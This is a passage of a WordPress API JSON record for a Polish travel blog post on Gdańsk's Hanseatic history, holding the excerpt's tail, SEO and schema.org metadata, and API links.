w wodzie, potem wspina po ceg\u0142ach spichlerzy, a\u017c w ko\u0144cu rozlewa si\u0119 po D\u0142ugim Pobrze\u017cu. W tej scenerii \u0142atwo zapomnie\u0107, \u017ce Gda\u0144sk to nie tylko wsp\u00f3\u0142czesne miasto turystyczne, ale przede wszystkim dawna brama do \u015bwiata p\u00f3\u0142nocnej Europy. Kiedy\u015b t\u0119tni\u0142 tu handel, kt\u00f3ry decydowa\u0142 o &hellip;","og_url":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/","og_site_name":"Wzd\u0142u\u017c Drogi","article_published_time":"2026-04-24T09:11:15+00:00","article_modified_time":"2026-04-24T09:11:38+00:00","og_image":[{"width":1600,"height":1063,"url":"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg","type":"image\/jpeg"}],"author":"Wzdluzdrogi","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Wzdluzdrogi","Szacowany czas czytania":"6 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/","url":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/","name":"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi","isPartOf":{"@id":"https:\/\/www.wzdluzdrogi.pl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage"},"image":{"@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage"},"thumbnailUrl":"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg","datePublished":"2026-04-24T09:11:15+00:00","dateModified":"2026-04-24T09:11:38+00:00","author":{"@id":"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/74e57cccc529edf05c11ceaff979bf00"},"breadcrumb":{"@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage","url":"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg","contentUrl":"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg","width":1600,"height":1063,"caption":"REPOZYTORIUM_ISIT"},{"@type":"BreadcrumbList","@id":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/www.wzdluzdrogi.pl\/"},{"@type":"ListItem","position":2,"name":"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta"}]},{"@type":"WebSite","@id":"https:\/\/www.wzdluzdrogi.pl\/#website","url":"https:\/\/www.wzdluzdrogi.pl\/","name":"Wzd\u0142u\u017c Drogi","description":"Podr\u00f3\u017ce w rytmie slow","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wzdluzdrogi.pl\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/74e57cccc529edf05c11ceaff979bf00","name":"Wzdluzdrogi","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/5338c7b0ffcf3c9b5c99db5ffd459d84?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/5338c7b0ffcf3c9b5c99db5ffd459d84?s=96&d=mm&r=g","caption":"Wzdluzdrogi"},"sameAs":["http:\/\/www.wzdluzdrogi.pl"],"url":"https:\/\/www.wzdluzdrogi.pl\/index.php\/author\/wzdluzdrogi\/"}]}},"_links":{"self":[{"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/posts\/5315","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/comments?post=5315"}],"version-history":[{"count":3,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/posts\/5315\/revisions"}],"predecessor-version":[{"id":5321,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/posts\/5315\/revisions\/5321"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/media\/5316"}],"wp:attachment":[{"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/media?parent=5315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/categories?post=5315"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wzdluzdrogi.pl\/index.php\/wp-json\/wp\/v2\/tags?post=5315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}